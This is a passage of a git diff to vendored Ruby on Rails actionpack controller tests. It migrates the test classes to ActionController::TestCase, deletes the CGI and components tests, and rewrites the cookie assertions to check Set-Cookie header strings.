-class EmptyUrlOptionsTest < Test::Unit::TestCase
+class EmptyUrlOptionsTest < ActionController::TestCase
+  tests NonEmptyController
+
   def setup
-    @controller = NonEmptyController.new
-
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-
     @request.host = 'www.example.com'
+    rescue_action_in_public!
   end
 
   def test_ensure_url_for_works_as_expected_when_called_with_no_options_if_default_url_options_is_not_set
diff --git a/vendor/rails/actionpack/test/controller/benchmark_test.rb b/vendor/rails/actionpack/test/controller/benchmark_test.rb
index 608ea5f5..f9100a23 100644
--- a/vendor/rails/actionpack/test/controller/benchmark_test.rb
+++ b/vendor/rails/actionpack/test/controller/benchmark_test.rb
@@ -11,17 +11,17 @@ class BenchmarkedController < ActionController::Base
   end
 end
 
-class BenchmarkTest < Test::Unit::TestCase
+class BenchmarkTest < ActionController::TestCase
+  tests BenchmarkedController
+
   class MockLogger
     def method_missing(*args)
     end
   end
 
   def setup
-    @controller = BenchmarkedController.new
     # benchmark doesn't do anything unless a logger is set
     @controller.logger = MockLogger.new
-    @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new
     @request.host = "test.actioncontroller.i"
   end
 
diff --git a/vendor/rails/actionpack/test/controller/caching_test.rb b/vendor/rails/actionpack/test/controller/caching_test.rb
index 49a811d5..223f5f70 100644
--- a/vendor/rails/actionpack/test/controller/caching_test.rb
+++ b/vendor/rails/actionpack/test/controller/caching_test.rb
@@ -1,5 +1,6 @@
 require 'fileutils'
 require 'abstract_unit'
+require 'active_record_unit'
 
 CACHE_DIR = 'test_cache'
 # Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
@@ -7,6 +8,10 @@ FILE_STORE_PATH = File.join(File.dirname(__FILE__), '/../temp/', CACHE_DIR)
 ActionController::Base.page_cache_directory = FILE_STORE_PATH
 ActionController::Base.cache_store = :file_store, FILE_STORE_PATH
 
+# Force sweeper classes to load
+ActionController::Caching::Sweeper
+ActionController::Caching::Sweeping
+
 class PageCachingTestController < ActionController::Base
   caches_page :ok, :no_content, :if => Proc.new { |c| !c.request.format.json? }
   caches_page :found, :not_found
@@ -42,12 +47,13 @@ class PageCachingTestController < ActionController::Base
   end
 end
 
-class PageCachingTest < Test::Unit::TestCase
+class PageCachingTest < ActionController::TestCase
   def setup
     ActionController::Base.perform_caching = true
 
     ActionController::Routing::Routes.draw do |map|
-      map.main '', :controller => 'posts'
+      map.main '', :controller => 'posts', :format => nil
+      map.formatted_posts 'posts.:format', :controller => 'posts'
       map.resources :posts
       map.connect ':controller/:action/:id'
     end
@@ -67,7 +73,7 @@ class PageCachingTest < Test::Unit::TestCase
 
   def teardown
     FileUtils.rm_rf(File.dirname(FILE_STORE_PATH))
-
+    ActionController::Routing::Routes.clear!
     ActionController::Base.perform_caching = false
   end
 
@@ -107,21 +113,18 @@ class PageCachingTest < Test::Unit::TestCase
     assert File.exist?("#{FILE_STORE_PATH}/page_caching_test/trailing_slash.html")
   end
 
-  uses_mocha("should_cache_ok_at_custom_path") do
-    def test_should_cache_ok_at_custom_path
-      @request.stubs(:path).returns("/index.html")
-      get :ok
-      assert_response :ok
-      assert File.exist?("#{FILE_STORE_PATH}/index.html")
-    end
+  def test_should_cache_ok_at_custom_path
+    @request.stubs(:path).returns("/index.html")
+    get :ok
+    assert_response :ok
+    assert File.exist?("#{FILE_STORE_PATH}/index.html")
   end
 
   [:ok, :no_content, :found, :not_found].each do |status|
     [:get, :post, :put, :delete].each do |method|
       unless method == :get and status == :ok
         define_method "test_shouldnt_cache_#{method}_with_#{status}_status" do
-          @request.env['REQUEST_METHOD'] = method.to_s.upcase
-          process status
+          send(method, status)
           assert_response status
           assert_page_not_cached status, "#{method} with #{status} status shouldn't have been cached"
         end
@@ -154,6 +157,7 @@ class ActionCachingTestController < ActionController::Base
   caches_action :edit, :cache_path => Proc.new { |c| c.params[:id] ? "http://test.host/#{c.params[:id]};edit" : "http://test.host/edit" }
   caches_action :with_layout
   caches_action :layout_false, :layout => false
+  caches_action :record_not_found, :four_oh_four, :simple_runtime_error
 
   layout 'talk_from_action.erb'
 
@@ -168,7 +172,7 @@ class ActionCachingTestController < ActionController::Base
 
   def forbidden
     render :text => "Forbidden"
-    headers["Status"] = "403 Forbidden"
+    response.status = "403 Forbidden"
   end
 
   def with_layout
@@ -176,6 +180,18 @@ class ActionCachingTestController < ActionController::Base
     render :text => @cache_this, :layout => true
   end
 
+  def record_not_found
+    raise ActiveRecord::RecordNotFound, "oops!"
+  end
+
+  def four_oh_four
+    render :text => "404'd!", :status => 404
+  end
+
+  def simple_runtime_error
+    raise "oops!"
+  end
+
   alias_method :show, :index
   alias_method :edit, :index
   alias_method :destroy, :index
@@ -222,7 +238,7 @@ class ActionCachingMockController
   end
 end
 
-class ActionCacheTest < Test::Unit::TestCase
+class ActionCacheTest < ActionController::TestCase
   def setup
     reset!
     FileUtils.mkdir_p(FILE_STORE_PATH)
@@ -291,13 +307,11 @@ class ActionCacheTest < Test::Unit::TestCase
     ActionController::Base.use_accept_header = old_use_accept_header
   end
 
-  uses_mocha 'test action cache' do
-    def test_action_cache_with_store_options
-      MockTime.expects(:now).returns(12345).once
-      @controller.expects(:read_fragment).with('hostname.com/action_caching_test', :expires_in => 1.hour).once
-      @controller.expects(:write_fragment).with('hostname.com/action_caching_test', '12345.0', :expires_in => 1.hour).once
-      get :index
-    end
+  def test_action_cache_with_store_options
+    MockTime.expects(:now).returns(12345).once
+    @controller.expects(:read_fragment).with('hostname.com/action_caching_test', :expires_in => 1.hour).once
+    @controller.expects(:write_fragment).with('hostname.com/action_caching_test', '12345.0', :expires_in => 1.hour).once
+    get :index
   end
 
   def test_action_cache_with_custom_cache_path
@@ -401,7 +415,7 @@ class ActionCacheTest < Test::Unit::TestCase
 
   def test_xml_version_of_resource_is_treated_as_different_cache
     with_routing do |set|
-      ActionController::Routing::Routes.draw do |map|
+      set.draw do |map|
         map.connect ':controller/:action.:format'
         map.connect ':controller/:action'
       end
@@ -432,6 +446,20 @@ class ActionCacheTest < Test::Unit::TestCase
     assert_equal 'application/xml', @response.content_type
   end
 
+  def test_correct_content_type_is_returned_for_cache_hit_on_action_with_string_key
+    # run it twice to cache it the first time
+    get :show, :format => 'xml'
+    get :show, :format => 'xml'
+    assert_equal 'application/xml', @response.content_type
+  end
+
+  def test_correct_content_type_is_returned_for_cache_hit_on_action_with_string_key_from_proc
+    # run it twice to cache it the first time
+    get :edit, :id => 1, :format => 'xml'
+    get :edit, :id => 1, :format => 'xml'
+    assert_equal 'application/xml', @response.content_type
+  end
+
   def test_empty_path_is_normalized
     @mock_controller.mock_url_for = 'http://example.org/'
     @mock_controller.mock_path    = '/'
@@ -446,6 +474,27 @@ class ActionCacheTest < Test::Unit::TestCase
     assert_response :success
   end
 
+  def test_record_not_found_returns_404_for_multiple_requests
+    get :record_not_found
+    assert_response 404
+    get :record_not_found
+    assert_response 404
+  end
+
+  def test_four_oh_four_returns_404_for_multiple_requests
+    get :four_oh_four
+    assert_response 404
+    get :four_oh_four
+    assert_response 404
+  end
+
+  def test_simple_runtime_error_returns_500_for_multiple_requests
+    get :simple_runtime_error
+    assert_response 500
+    get :simple_runtime_error
+    assert_response 500
+  end
+
   private
     def content_to_cache
       assigns(:cache_this)
@@ -471,7 +520,7 @@ class FragmentCachingTestController < ActionController::Base
   def some_action; end;
 end
 
-class FragmentCachingTest < Test::Unit::TestCase
+class FragmentCachingTest < ActionController::TestCase
   def setup
     ActionController::Base.perform_caching = true
     @store = ActiveSupport::Cache::MemoryStore.new
@@ -527,7 +576,7 @@ class FragmentCachingTest < Test::Unit::TestCase
   def test_write_fragment_with_caching_disabled
     assert_nil @store.read('views/name')
     ActionController::Base.perform_caching = false
-    assert_equal nil, @controller.write_fragment('name', 'value')
+    assert_equal 'value', @controller.write_fragment('name', 'value')
     assert_nil @store.read('views/name')
   end
 
@@ -603,7 +652,7 @@ class FunctionalCachingController < ActionController::Base
   end
 end
 
-class FunctionalFragmentCachingTest < Test::Unit::TestCase
+class FunctionalFragmentCachingTest < ActionController::TestCase
   def setup
     ActionController::Base.perform_caching = true
     @store = ActiveSupport::Cache::MemoryStore.new
diff --git a/vendor/rails/actionpack/test/controller/capture_test.rb b/vendor/rails/actionpack/test/controller/capture_test.rb
index 5ded6a5d..6dfa0995 100644
--- a/vendor/rails/actionpack/test/controller/capture_test.rb
+++ b/vendor/rails/actionpack/test/controller/capture_test.rb
@@ -23,17 +23,14 @@ class CaptureController < ActionController::Base
   def rescue_action(e) raise end
 end
 
-class CaptureTest < Test::Unit::TestCase
-  def setup
-    @controller = CaptureController.new
+class CaptureTest < ActionController::TestCase
+  tests CaptureController
 
+  def setup
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
     # a more accurate simulation of what happens in "real life".
     @controller.logger = Logger.new(nil)
 
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-
     @request.host = "www.nextangle.com"
   end
 
diff --git a/vendor/rails/actionpack/test/controller/cgi_test.rb b/vendor/rails/actionpack/test/controller/cgi_test.rb
deleted file mode 100644
index 87fbf1a4..00000000
--- a/vendor/rails/actionpack/test/controller/cgi_test.rb
+++ /dev/null
@@ -1,263 +0,0 @@
-require 'abstract_unit'
-require 'action_controller/cgi_process'
-
-class BaseCgiTest < Test::Unit::TestCase
-  def setup
-    @request_hash = {
-      "HTTP_MAX_FORWARDS" => "10",
-      "SERVER_NAME" => "glu.ttono.us:8007",
-      "FCGI_ROLE" => "RESPONDER",
-      "AUTH_TYPE" => "Basic",
-      "HTTP_X_FORWARDED_HOST" => "glu.ttono.us",
-      "HTTP_ACCEPT_CHARSET" => "UTF-8",
-      "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
-      "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
-      "HTTP_PRAGMA" => "no-cache",
-      "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
-      "PATH_INFO" => "/homepage/",
-      "HTTP_ACCEPT_LANGUAGE" => "en",
-      "HTTP_NEGOTIATE" => "trans",
-      "HTTP_HOST" => "glu.ttono.us:8007",
-      "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
-      "HTTP_FROM" => "googlebot",
-      "SERVER_PROTOCOL" => "HTTP/1.1",
-      "REDIRECT_URI" => "/dispatch.fcgi",
-      "SCRIPT_NAME" => "/dispatch.fcgi",
-      "SERVER_ADDR" => "207.7.108.53",
-      "REMOTE_ADDR" => "207.7.108.53",
-      "REMOTE_HOST" => "google.com",
-      "REMOTE_IDENT" => "kevin",
-      "REMOTE_USER" => "kevin",
-      "SERVER_SOFTWARE" => "lighttpd/1.4.5",
-      "HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes",
-      "HTTP_X_FORWARDED_SERVER" => "glu.ttono.us",
-      "REQUEST_URI" => "/admin",
-      "DOCUMENT_ROOT" => "/home/kevinc/sites/typo/public",
-      "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
-      "SERVER_PORT" => "8007",
-      "QUERY_STRING" => "",
-      "REMOTE_PORT" => "63137",
-      "GATEWAY_INTERFACE" => "CGI/1.1",
-      "HTTP_X_FORWARDED_FOR" => "65.88.180.234",
-      "HTTP_ACCEPT" => "*/*",
-      "SCRIPT_FILENAME" => "/home/kevinc/sites/typo/public/dispatch.fcgi",
-      "REDIRECT_STATUS" => "200",
-      "REQUEST_METHOD" => "GET"
-    }
-    # some Nokia phone browsers omit the space after the semicolon separator.
-    # some developers have grown accustomed to using comma in cookie values.
-    @alt_cookie_fmt_request_hash = {"HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes"}
-    @cgi = CGI.new
-    class << @cgi; attr_accessor :env_table end
-    @cgi.env_table = @request_hash
-    @request = ActionController::CgiRequest.new(@cgi)
-  end
-
-  def default_test; end
-
-  private
-
-  def set_content_data(data)
-    @request.env['REQUEST_METHOD'] = 'POST'
-    @request.env['CONTENT_LENGTH'] = data.length
-    @request.env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
-    @request.env['RAW_POST_DATA'] = data
-  end
-end
-
-class CgiRequestTest < BaseCgiTest
-  def test_proxy_request
-    assert_equal 'glu.ttono.us', @request.host_with_port
-  end
-
-  def test_http_host
-    @request_hash.delete "HTTP_X_FORWARDED_HOST"
-    @request_hash['HTTP_HOST'] = "rubyonrails.org:8080"
-    assert_equal "rubyonrails.org:8080", @request.host_with_port
-
-    @request_hash['HTTP_X_FORWARDED_HOST'] = "www.firsthost.org, www.secondhost.org"
-    assert_equal "www.secondhost.org", @request.host(true)
-  end
-
-  def test_http_host_with_default_port_overrides_server_port
-    @request_hash.delete "HTTP_X_FORWARDED_HOST"
-    @request_hash['HTTP_HOST'] = "rubyonrails.org"
-    assert_equal "rubyonrails.org", @request.host_with_port
-  end
-
-  def test_host_with_port_defaults_to_server_name_if_no_host_headers
-    @request_hash.delete "HTTP_X_FORWARDED_HOST"
-    @request_hash.delete "HTTP_HOST"
-    assert_equal "glu.ttono.us:8007", @request.host_with_port
-  end
-
-  def test_host_with_port_falls_back_to_server_addr_if_necessary
-    @request_hash.delete "HTTP_X_FORWARDED_HOST"
-    @request_hash.delete "HTTP_HOST"
-    @request_hash.delete "SERVER_NAME"
-    assert_equal "207.7.108.53:8007", @request.host_with_port
-  end
-
-  def test_host_with_port_if_http_standard_port_is_specified
-    @request_hash['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:80"
-    assert_equal "glu.ttono.us", @request.host_with_port
-  end
-
-  def test_host_with_port_if_https_standard_port_is_specified
-    @request_hash['HTTP_X_FORWARDED_PROTO'] = "https"
-    @request_hash['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:443"
-    assert_equal "glu.ttono.us", @request.host_with_port
-  end
-
-  def test_host_if_ipv6_reference
-    @request_hash.delete "HTTP_X_FORWARDED_HOST"
-    @request_hash['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]"
-    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
-  end
-
-  def test_host_if_ipv6_reference_with_port
-    @request_hash.delete "HTTP_X_FORWARDED_HOST"
-    @request_hash['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]:8008"
-    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
-  end
-
-  def test_cgi_environment_variables
-    assert_equal "Basic", @request.auth_type
-    assert_equal 0, @request.content_length
-    assert_equal nil, @request.content_type
-    assert_equal "CGI/1.1", @request.gateway_interface
-    assert_equal "*/*", @request.accept
-    assert_equal "UTF-8", @request.accept_charset
-    assert_equal "gzip, deflate", @request.accept_encoding
-    assert_equal "en", @request.accept_language
-    assert_equal "no-cache, max-age=0", @request.cache_control
-    assert_equal "googlebot", @request.from
-    assert_equal "glu.ttono.us", @request.host
-    assert_equal "trans", @request.negotiate
-    assert_equal "no-cache", @request.pragma
-    assert_equal "http://www.google.com/search?q=glu.ttono.us", @request.referer
-    assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", @request.user_agent
-    assert_equal "/homepage/", @request.path_info
-    assert_equal "/home/kevinc/sites/typo/public/homepage/", @request.path_translated
-    assert_equal "", @request.query_string
-    assert_equal "207.7.108.53", @request.remote_addr
-    assert_equal "google.com", @request.remote_host
-    assert_equal "kevin", @request.remote_ident
-    assert_equal "kevin", @request.remote_user
-    assert_equal :get, @request.request_method
-    assert_equal "/dispatch.fcgi", @request.script_name
-    assert_equal "glu.ttono.us:8007", @request.server_name
-    assert_equal 8007, @request.server_port
-    assert_equal "HTTP/1.1", @request.server_protocol
-    assert_equal "lighttpd", @request.server_software
-  end
-
-  def test_cookie_syntax_resilience
-    cookies = CGI::Cookie::parse(@request_hash["HTTP_COOKIE"]);
-    assert_equal ["c84ace84796670c052c6ceb2451fb0f2"], cookies["_session_id"], cookies.inspect
-    assert_equal ["yes"], cookies["is_admin"], cookies.inspect
-
-    alt_cookies = CGI::Cookie::parse(@alt_cookie_fmt_request_hash["HTTP_COOKIE"]);
-    assert_equal ["c84ace847,96670c052c6ceb2451fb0f2"], alt_cookies["_session_id"], alt_cookies.inspect
-    assert_equal ["yes"], alt_cookies["is_admin"], alt_cookies.inspect
-  end
-end
-
-class CgiRequestParamsParsingTest < BaseCgiTest
-  def test_doesnt_break_when_content_type_has_charset
-    set_content_data 'flamenco=love'
-
-    assert_equal({"flamenco"=> "love"}, @request.request_parameters)
-  end
-
-  def test_doesnt_interpret_request_uri_as_query_string_when_missing
-    @request.env['REQUEST_URI'] = 'foo'
-    assert_equal({}, @request.query_parameters)
-  end
-end
-
-class CgiRequestContentTypeTest < BaseCgiTest
-  def test_html_content_type_verification
-    @request.env['CONTENT_TYPE'] = Mime::HTML.to_s
-    assert @request.content_type.verify_request?
-  end
-
-  def test_xml_content_type_verification
-    @request.env['CONTENT_TYPE'] = Mime::XML.to_s
-    assert !@request.content_type.verify_request?
-  end
-end
-
-class CgiRequestMethodTest < BaseCgiTest
-  def test_get
-    assert_equal :get, @request.request_method
-  end
-
-  def test_post
-    @request.env['REQUEST_METHOD'] = 'POST'
-    assert_equal :post, @request.request_method
-  end
-
-  def test_put
-    set_content_data '_method=put'
-
-    assert_equal :put, @request.request_method
-  end
-
-  def test_delete
-    set_content_data '_method=delete'
-
-    assert_equal :delete, @request.request_method
-  end
-end
-
-class CgiRequestNeedsRewoundTest < BaseCgiTest
-  def test_body_should_be_rewound
-    data = 'foo'
-    fake_cgi = Struct.new(:env_table, :query_string, :stdinput).new(@request_hash, '', StringIO.new(data))
-    fake_cgi.env_table['CONTENT_LENGTH'] = data.length
-    fake_cgi.env_table['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
-
-    # Read the request body by parsing params.
-    request = ActionController::CgiRequest.new(fake_cgi)
-    request.request_parameters
-
-    # Should have rewound the body.
-    assert_equal 0, request.body.pos
-  end
-end
-
-uses_mocha 'CGI Response' do
-  class CgiResponseTest < BaseCgiTest
-    def setup
-      super
-      @cgi.expects(:header).returns("HTTP/1.0 200 OK\nContent-Type: text/html\n")
-      @response = ActionController::CgiResponse.new(@cgi)
-      @output = StringIO.new('')
-    end
-
-    def test_simple_output
-      @response.body = "Hello, World!"
-
-      @response.out(@output)
-      assert_equal "HTTP/1.0 200 OK\nContent-Type: text/html\nHello, World!", @output.string
-    end
-
-    def test_head_request
-      @cgi.env_table['REQUEST_METHOD'] = 'HEAD'
-      @response.body = "Hello, World!"
-
-      @response.out(@output)
-      assert_equal "HTTP/1.0 200 OK\nContent-Type: text/html\n", @output.string
-    end
-
-    def test_streaming_block
-      @response.body = Proc.new do |response, output|
-        5.times { |n| output.write(n) }
-      end
-
-      @response.out(@output)
-      assert_equal "HTTP/1.0 200 OK\nContent-Type: text/html\n01234", @output.string
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/components_test.rb b/vendor/rails/actionpack/test/controller/components_test.rb
deleted file mode 100644
index 4d36fc41..00000000
--- a/vendor/rails/actionpack/test/controller/components_test.rb
+++ /dev/null
@@ -1,156 +0,0 @@
-require 'abstract_unit'
-
-class CallerController < ActionController::Base
-  def calling_from_controller
-    render_component(:controller => "callee", :action => "being_called")
-  end
-
-  def calling_from_controller_with_params
-    render_component(:controller => "callee", :action => "being_called", :params => { "name" => "David" })
-  end
-
-  def calling_from_controller_with_different_status_code
-    render_component(:controller => "callee", :action => "blowing_up")
-  end
-
-  def calling_from_template
-    render :inline => "Ring, ring: <%= render_component(:controller => 'callee', :action => 'being_called') %>"
-  end
-
-  def internal_caller
-    render :inline => "Are you there? <%= render_component(:action => 'internal_callee') %>"
-  end
-
-  def internal_callee
-    render :text => "Yes, ma'am"
-  end
-
-  def set_flash
-    render_component(:controller => "callee", :action => "set_flash")
-  end
-
-  def use_flash
-    render_component(:controller => "callee", :action => "use_flash")
-  end
-
-  def calling_redirected
-    render_component(:controller => "callee", :action => "redirected")
-  end
-
-  def calling_redirected_as_string
-    render :inline => "<%= render_component(:controller => 'callee', :action => 'redirected') %>"
-  end
-
-  def rescue_action(e) raise end
-end
-
-class CalleeController < ActionController::Base
-  def being_called
-    render :text => "#{params[:name] || "Lady"} of the House, speaking"
-  end
-
-  def blowing_up
-    render :text => "It's game over, man, just game over, man!", :status => 500
-  end
-
-  def set_flash
-    flash[:notice] = 'My stoney baby'
-    render :text => 'flash is set'
-  end
-
-  def use_flash
-    render :text => flash[:notice] || 'no flash'
-  end
-
-  def redirected
-    redirect_to :controller => "callee", :action => "being_called"
-  end
-
-  def rescue_action(e) raise end
-end
-
-class ComponentsTest < Test::Unit::TestCase
-  def setup
-    @controller = CallerController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-  end
-
-  def test_calling_from_controller
-    assert_deprecated do
-      get :calling_from_controller
-      assert_equal "Lady of the House, speaking", @response.body
-    end
-  end
-
-  def test_calling_from_controller_with_params
-    assert_deprecated do
-      get :calling_from_controller_with_params
-      assert_equal "David of the House, speaking", @response.body
-    end
-  end
-
-  def test_calling_from_controller_with_different_status_code
-    assert_deprecated do
-      get :calling_from_controller_with_different_status_code
-      assert_equal 500, @response.response_code
-    end
-  end
-
-  def test_calling_from_template
-    assert_deprecated do
-      get :calling_from_template
-      assert_equal "Ring, ring: Lady of the House, speaking", @response.body
-    end
-  end
-
-  def test_etag_is_set_for_parent_template_when_calling_from_template
-    assert_deprecated do
-      get :calling_from_template
-      expected_etag = etag_for("Ring, ring: Lady of the House, speaking")
-      assert_equal expected_etag, @response.headers['ETag']
-    end
-  end
-
-  def test_internal_calling
-    assert_deprecated do
-      get :internal_caller
-      assert_equal "Are you there? Yes, ma'am", @response.body
-    end
-  end
-
-  def test_flash
-    assert_deprecated do
-      get :set_flash
-      assert_equal 'My stoney baby', flash[:notice]
-      get :use_flash
-      assert_equal 'My stoney baby', @response.body
-      get :use_flash
-      assert_equal 'no flash', @response.body
-    end
-  end
-
-  def test_component_redirect_redirects
-    assert_deprecated do
-      get :calling_redirected
-      assert_redirected_to :controller=>"callee", :action => "being_called"
-    end
-  end
-
-  def test_component_multiple_redirect_redirects
-    test_component_redirect_redirects
-    test_internal_calling
-  end
-
-  def test_component_as_string_redirect_renders_redirected_action
-    assert_deprecated do
-      get :calling_redirected_as_string
-      assert_equal "Lady of the House, speaking", @response.body
-    end
-  end
-
-  protected
-    def etag_for(text)
-      %("#{Digest::MD5.hexdigest(text)}")
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/content_type_test.rb b/vendor/rails/actionpack/test/controller/content_type_test.rb
index ae71d62e..32c1757e 100644
--- a/vendor/rails/actionpack/test/controller/content_type_test.rb
+++ b/vendor/rails/actionpack/test/controller/content_type_test.rb
@@ -50,16 +50,13 @@ class ContentTypeController < ActionController::Base
   def rescue_action(e) raise end
 end
 
-class ContentTypeTest < Test::Unit::TestCase
-  def setup
-    @controller = ContentTypeController.new
+class ContentTypeTest < ActionController::TestCase
+  tests ContentTypeController
 
+  def setup
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
     # a more accurate simulation of what happens in "real life".
     @controller.logger = Logger.new(nil)
-
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
   end
 
   def test_render_defaults
diff --git a/vendor/rails/actionpack/test/controller/cookie_test.rb b/vendor/rails/actionpack/test/controller/cookie_test.rb
index 5a6fb498..e11f04ff 100644
--- a/vendor/rails/actionpack/test/controller/cookie_test.rb
+++ b/vendor/rails/actionpack/test/controller/cookie_test.rb
@@ -1,24 +1,28 @@
 require 'abstract_unit'
 
-class CookieTest < Test::Unit::TestCase
+class CookieTest < ActionController::TestCase
   class TestController < ActionController::Base
     def authenticate
       cookies["user_name"] = "david"
     end
 
+    def set_with_with_escapable_characters
+      cookies["that & guy"] = "foo & bar => baz"
+    end
+
     def authenticate_for_fourteen_days
-      cookies["user_name"] = { "value" => "david", "expires" => Time.local(2005, 10, 10) }
+      cookies["user_name"] = { "value" => "david", "expires" => Time.utc(2005, 10, 10,5) }
     end
 
     def authenticate_for_fourteen_days_with_symbols
-      cookies[:user_name] = { :value => "david", :expires => Time.local(2005, 10, 10) }
+      cookies[:user_name] = { :value => "david", :expires => Time.utc(2005, 10, 10,5) }
     end
 
     def set_multiple_cookies
-      cookies["user_name"] = { "value" => "david", "expires" => Time.local(2005, 10, 10) }
+      cookies["user_name"] = { "value" => "david", "expires" => Time.utc(2005, 10, 10,5) }
       cookies["login"]     = "XJ-122"
     end
-    
+
     def access_frozen_cookies
       cookies["will"] = "work"
     end
@@ -33,60 +37,70 @@ class CookieTest < Test::Unit::TestCase
     end
 
     def authenticate_with_http_only
-      cookies["user_name"] = { :value => "david", :http_only => true }
+      cookies["user_name"] = { :value => "david", :httponly => true }
     end
 
-    def rescue_action(e) 
-      raise unless ActionView::MissingTemplate # No templates here, and we don't care about the output 
+    def rescue_action(e)
+      raise unless ActionView::MissingTemplate # No templates here, and we don't care about the output
     end
   end
 
-  def setup
-    @request  = ActionController::TestRequest.new
-    @response = ActionController::TestResponse.new
+  tests TestController
 
-    @controller = TestController.new
+  def setup
     @request.host = "www.nextangle.com"
   end
 
   def test_setting_cookie
     get :authenticate
-    assert_equal [ CGI::Cookie::new("name" => "user_name", "value" => "david") ], @response.headers["cookie"]
+    assert_equal ["user_name=david; path=/"], @response.headers["Set-Cookie"]
+    assert_equal({"user_name" => "david"}, @response.cookies)
+  end
+
+  def test_setting_with_escapable_characters
+    get :set_with_with_escapable_characters
+    assert_equal ["that+%26+guy=foo+%26+bar+%3D%3E+baz; path=/"], @response.headers["Set-Cookie"]
+    assert_equal({"that & guy" => "foo & bar => baz"}, @response.cookies)
   end
 
   def test_setting_cookie_for_fourteen_days
     get :authenticate_for_fourteen_days
-    assert_equal [ CGI::Cookie::new("name" => "user_name", "value" => "david", "expires" => Time.local(2005, 10, 10)) ], @response.headers["cookie"]
+    assert_equal ["user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT"], @response.headers["Set-Cookie"]
+    assert_equal({"user_name" => "david"}, @response.cookies)
   end
 
   def test_setting_cookie_for_fourteen_days_with_symbols
     get :authenticate_for_fourteen_days_with_symbols
-    assert_equal [ CGI::Cookie::new("name" => "user_name", "value" => "david", "expires" => Time.local(2005, 10, 10)) ], @response.headers["cookie"]
+    assert_equal ["user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT"], @response.headers["Set-Cookie"]
+    assert_equal({"user_name" => "david"}, @response.cookies)
   end
 
   def test_setting_cookie_with_http_only
     get :authenticate_with_http_only
-    assert_equal [ CGI::Cookie::new("name" => "user_name", "value" => "david", "http_only" => true) ], @response.headers["cookie"]
-    assert_equal CGI::Cookie::new("name" => "user_name", "value" => "david", "path" => "/", "http_only" => true).to_s, @response.headers["cookie"][0].to_s
+    assert_equal ["user_name=david; path=/; HttpOnly"], @response.headers["Set-Cookie"]
+    assert_equal({"user_name" => "david"}, @response.cookies)
   end
 
   def test_multiple_cookies
     get :set_multiple_cookies
     assert_equal 2, @response.cookies.size
+    assert_equal "user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT", @response.headers["Set-Cookie"][0]
+    assert_equal "login=XJ-122; path=/", @response.headers["Set-Cookie"][1]
+    assert_equal({"login" => "XJ-122", "user_name" => "david"}, @response.cookies)
   end
 
   def test_setting_test_cookie
     assert_nothing_raised { get :access_frozen_cookies }
   end
-  
+
   def test_expiring_cookie
     get :logout
-    assert_equal [ CGI::Cookie::new("name" => "user_name", "value" => "", "expires" => Time.at(0)) ], @response.headers["cookie"]
-    assert_equal CGI::Cookie::new("name" => "user_name", "value" => "", "expires" => Time.at(0)).value, []
-  end  
-  
+    assert_equal ["user_name=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"], @response.headers["Set-Cookie"]
+    assert_equal({"user_name" => nil}, @response.cookies)
+  end
+
   def test_cookiejar_accessor
-    @request.cookies["user_name"] = CGI::Cookie.new("name" => "user_name", "value" => "david", "expires" => Time.local(2025, 10, 10))
+    @request.cookies["user_name"] = "david"
     @controller.request = @request
     jar = ActionController::CookieJar.new(@controller)
     assert_equal "david", jar["user_name"]
@@ -94,53 +108,27 @@ class CookieTest < Test::Unit::TestCase
   end
 
   def test_cookiejar_accessor_with_array_value
-    a = %w{1 2 3}
-    @request.cookies["pages"] = CGI::Cookie.new("name" => "pages", "value" => a, "expires" => Time.local(2025, 10, 10))
+    @request.cookies["pages"] = %w{1 2 3}
     @controller.request = @request
     jar = ActionController::CookieJar.new(@controller)
-    assert_equal a, jar["pages"]
+    assert_equal %w{1 2 3}, jar["pages"]
   end
-  
+
+  def test_cookiejar_delete_removes_item_and_returns_its_value
+    @request.cookies["user_name"] = "david"
+    @controller.response = @response
+    jar = ActionController::CookieJar.new(@controller)
+    assert_equal "david", jar.delete("user_name")
+  end
+
   def test_delete_cookie_with_path
     get :delete_cookie_with_path
-    assert_equal "/beaten", @response.headers["cookie"].first.path
-    assert_not_equal "/", @response.headers["cookie"].first.path
+    assert_equal ["user_name=; path=/beaten; expires=Thu, 01-Jan-1970 00:00:00 GMT"], @response.headers["Set-Cookie"]
   end
 
-  def test_cookie_to_s_simple_values
-    assert_equal 'myname=myvalue; path=', CGI::Cookie.new('myname', 'myvalue').to_s
-  end
-
-  def test_cookie_to_s_hash
-    cookie_str = CGI::Cookie.new(
-      'name' => 'myname',
-      'value' => 'myvalue',
-      'domain' => 'mydomain',
-      'path' => 'mypath',
-      'expires' => Time.utc(2007, 10, 20),
-      'secure' => true,
-      'http_only' => true).to_s
